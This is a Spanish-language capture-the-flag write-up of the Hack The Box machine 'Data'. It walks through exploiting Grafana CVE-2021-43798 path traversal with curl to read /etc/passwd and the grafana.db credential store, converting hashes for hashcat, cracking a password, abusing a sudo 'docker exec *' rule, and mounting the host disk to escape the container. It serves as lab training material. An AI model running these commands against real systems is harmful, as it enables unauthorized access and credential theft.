Data

Enumeración

Nuestra fase de reconocimiento comenzó validando la conectividad con el objetivo. El TTL=63 del paquete ICMP nos indicó de inmediato que nos enfrentábamos a un sistema operativo Linux. Al realizar el escaneo de puertos con Nmap, descubrimos los puertos 22 (SSH) y 3000, el cual albergaba un servicio web corriendo Grafana.

Al investigar la versión de Grafana, descubrimos que era vulnerable a un Arbitrary File Read (CVE-2021-43798) mediante Path Traversal. Explotamos esta vulnerabilidad para leer archivos internos del servidor y descargar la base de datos principal de Grafana (grafana.db). Tras inspeccionar la base de datos localmente usando SQLite, logramos extraer los hashes y salts criptográficos de los usuarios admin y boris. Identificamos el algoritmo PBKDF2-HMAC-SHA256, por lo que escribimos un script en Python para formatear los datos de boris a una estructura compatible con Hashcat. Utilizando el diccionario rockyou.txt, logramos crackear la contraseña (beautiful1), obteniendo así nuestro acceso inicial a través de SSH.

# Inicializar la estructura de directorios y establecer la variable global $IP
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ htb-init data 10.129.234.47
Target IP globally set to: 10.129.234.47

# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=63 que confirma casi con seguridad un sistema Linux
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ ping -c 1 $IP
64 bytes from 10.129.234.47: icmp_seq=1 ttl=63 time=116 ms

# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

# Extraer y copiar al portapapeles los puertos abiertos encontrados en el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ extractPorts nmap/allPorts
[*] IP Address: 10.129.234.47
[*] Open ports: 22,3000
[!] Ports copied to clipboard

# [-p...] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ sudo nmap -p22,3000 -sCV --min-rate=5000 $IP -oN nmap/versions
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
|   256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_  256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open  http    Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Detectamos que la versión de Grafana es vulnerable a CVE-2021-43798 (Path Traversal)
# [--path-as-is] Evita que curl normalice o resuelva los "../", permitiendo enviar el payload directamente al servidor
# Extraemos el archivo os-release para descubrir que la aplicación corre bajo Alpine Linux (típico de contenedores Docker)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/os-release"
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.13.5
PRETTY_NAME="Alpine Linux v3.13"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"

# Intento fallido de enumerar los puertos TCP internos (Go lanza un error porque no puede medir el tamaño de los pseudo-archivos en /proc)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../proc/net/tcp"
seeker cant seek

# Extraer el archivo /etc/passwd del servidor y guardarlo localmente para futura enumeración
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd > content/passwd

# Extraer la base de datos principal de Grafana (donde residen credenciales y configuraciones) y guardarla localmente
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db > content/grafana.db

Explotación

Con la base de datos grafana.db en nuestra máquina atacante, procedimos a inspeccionarla de forma offline utilizando SQLite. Al consultar la tabla de usuarios, logramos extraer los hashes y salts criptográficos de las cuentas admin y boris.

Identificamos que el sistema utilizaba el algoritmo PBKDF2-HMAC-SHA256 para proteger las contraseñas. Como Grafana almacena el salt en una columna separada, escribimos un script personalizado en Python para codificar y concatenar estas variables al formato estricto requerido por Hashcat. Tras preparar el archivo, lanzamos un ataque de fuerza bruta utilizando el diccionario rockyou.txt y logramos descifrar la contraseña del usuario boris (beautiful1). Con esta credencial, obtuvimos acceso inicial seguro al servidor mediante SSH.

# Acceder a la base de datos SQLite extraída para explorarla offline
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ sqlite3 content/grafana.db

sqlite> .tables
alert                       login_attempt
alert_configuration         migration_log
alert_instance              org
alert_notification          org_user
alert_notification_state    playlist
alert_rule                  playlist_item
alert_rule_tag              plugin_setting
alert_rule_version          preferences
annotation                  quota
annotation_tag              server_lock
api_key                     session
cache_data                  short_url
dashboard                   star
dashboard_acl               tag
dashboard_provisioning      team
dashboard_snapshot          team_member
dashboard_tag               temp_user
dashboard_version           test_data
data_source                 user
library_element             user_auth
library_element_connection  user_auth_token

# Realizar una consulta SQL para extraer el email, la contraseña hasheada y el salt de la tabla de usuarios
sqlite> SELECT email,password,salt FROM user;
admin@localhost|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris@data.vl|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl

# Crear un script en Python (format2decrypt.py) para transformar los datos extraídos al formato que Hashcat entiende
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ nano scripts/format2decrypt.py
"""
import base64
import binascii

def convert_grafana_hash(hash_hex, salt):
    iterations = 10000

    # Convertir el hash de formato Hexadecimal a bytes, y luego codificarlo en Base64
    hash_bytes = binascii.unhexlify(hash_hex)
    hash_b64 = base64.b64encode(hash_bytes).decode('utf-8')

    # Convertir exclusivamente el salt criptográfico a Base64
    salt_b64 = base64.b64encode(salt.encode('utf-8')).decode('utf-8')

    # Formatear la cadena final siguiendo las especificaciones del módulo PBKDF2 de Hashcat
    formatted_hash = f"sha256:{iterations}:{salt_b64}:{hash_b64}"
    print(formatted_hash)

# Ingresamos los parámetros exactos del usuario Boris extraídos de la base de datos
convert_grafana_hash(
    "dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8",
    "LCBhdtJWjl"
)
"""

# Ejecutar el script y guardar la salida (el hash compatible con Hashcat) en un archivo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ python3 scripts/format2decrypt.py > content/boris_hash

# [-m 10900] Especificar el módulo en Hashcat para PBKDF2-HMAC-SHA256 (algoritmo usado por Grafana)
# Crackear el hash usando el diccionario rockyou.txt
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ hashcat -m 10900 content/boris_hash /usr/share/wordlists/rockyou.txt
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

# Con la contraseña descifrada (beautiful1), podemos acceder a la cuenta de Grafana, pero no hay nada interesante
# Boris reutilizó la contraseña para SSH
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ ssh boris@$IP

boris@data:~$ id
uid=1001(boris) gid=1001(boris) groups=1001(boris)

boris@data:~$ cat ~/user.txt
9e****************************ce

Escalada de Privilegios

Una vez con acceso a la máquina real como boris, comenzamos la enumeración para buscar vías de elevación de privilegios. Al verificar nuestros permisos de superusuario con sudo -l, encontramos una vulnerabilidad de configuración crítica: podíamos ejecutar el binario docker exec utilizando un comodín * como administrador y sin necesidad de contraseña.

Esta falla de diseño nos otorgaba la libertad de inyectar cualquier bandera en el comando. Listamos los procesos en segundo plano para obtener el ID exacto del contenedor de Grafana, e inyectamos la bandera -u 0 para forzar la obtención de una terminal interactiva como el usuario root dentro del contenedor. Al inspeccionar el entorno, descubrimos que se trataba de un contenedor privilegiado que tenía acceso de lectura a los dispositivos de bloque (el disco duro físico) del host /dev/sda1. Al montar esta partición internamente, creamos un puente que nos permitió saltar el aislamiento del contenedor y acceder sin restricciones al sistema de archivos de la máquina víctima, logrando leer exitosamente la flag de administrador.

# Filtrar el archivo passwd de la máquina host para ver usuarios interactivos
boris@data:~$ cat /etc/passwd | grep 'bash'
root:x:0:0:root:/root:/bin/bash
boris:x:1001:1001:,,,:/home/boris:/bin/bash

# Obtener información del Kernel y la versión exacta de Ubuntu
boris@data:~$ uname -a
Linux data 5.4.0-1103-aws # 111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

# Verificar permisos de ejecución como superusuario
# Descubrimos que boris puede ejecutar docker exec pasándole *CUALQUIER* parámetro extra (el comodín *)
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

# Mostrar los procesos actuales y filtrar por "docker" para extraer el ID único del contenedor activo
boris@data:~$ ps aux | grep docker
root       993  0.0  3.9 1422756 80908 ?       Ssl  02:08   0:09 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/1125/config/daemon.json
root      1199  0.1  2.1 1351056 43928 ?       Ssl  02:08   0:33 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root      1505  0.0  0.1 1152456 3316 ?        Sl   02:08   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1511  0.0  0.1 1152712 3248 ?        Sl   02:08   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1527  0.0  0.4 712864  9004 ?        Sl   02:08   0:02 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
472       1547  0.2  3.2 776412 66236 ?        Ssl  02:08   0:41 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
boris     3009  0.0  0.0  14860  1124 pts/0    S+   07:53   0:00 grep --color=auto docker

# Explotar la regla sudo:
# [-u 0] Inyectamos esta flag para indicar a Docker que queremos entrar como el usuario Root
# [-it] Pedimos una consola interactiva lanzando /bin/ash
boris@data:~$ sudo /snap/bin/docker exec -u 0 -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/ash

# Confirmamos que nuestra consola interactiva ahora opera como Root dentro del contenedor aislado
/usr/share/grafana# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

# Inspeccionamos los montajes de discos (Disk Free en modo "Human-readable")
# Descubrimos una severa mala configuración: el contenedor puede ver el disco duro real del Host (/dev/sda1)
/# df -h
Filesystem                Size      Used Available Use% Mounted on
overlay                   4.8G      1.9G      2.8G  40% /
tmpfs                    64.0M         0     64.0M   0% /dev
tmpfs                   991.8M         0    991.8M   0% /sys/fs/cgroup
shm                      64.0M         0     64.0M   0% /dev/shm
/dev/sda1                 4.8G      1.9G      2.8G  40% /etc/resolv.conf
/dev/sda1                 4.8G      1.9G      2.8G  40% /etc/hostname
/dev/sda1                 4.8G      1.9G      2.8G  40% /etc/hosts

# Creamos un directorio que nos servirá como puente de conexión temporal (Punto de Montaje)
/# mkdir /mnt/host_root

# Montamos la partición primaria física de la máquina host en nuestra nueva carpeta local
/# mount /dev/sda1 /mnt/host_root

# Listamos la carpeta montada para confirmar el escape. Ahora visualizamos todo el árbol de archivos real de la máquina "Data"
/# ls -l /mnt/host_root
drwxr-xr-x    2 root     root          4096 Apr  9  2025 bin
drwxr-xr-x    3 root     root          4096 Jun  4  2025 boot
drwxr-xr-x    4 root     root          4096 Nov 29  2021 dev
...
...
...
drwx------    7 root     root          4096 May 10 02:08 root

# Pwned!
/# cat /mnt/host_root/root/root.txt
c4****************************a7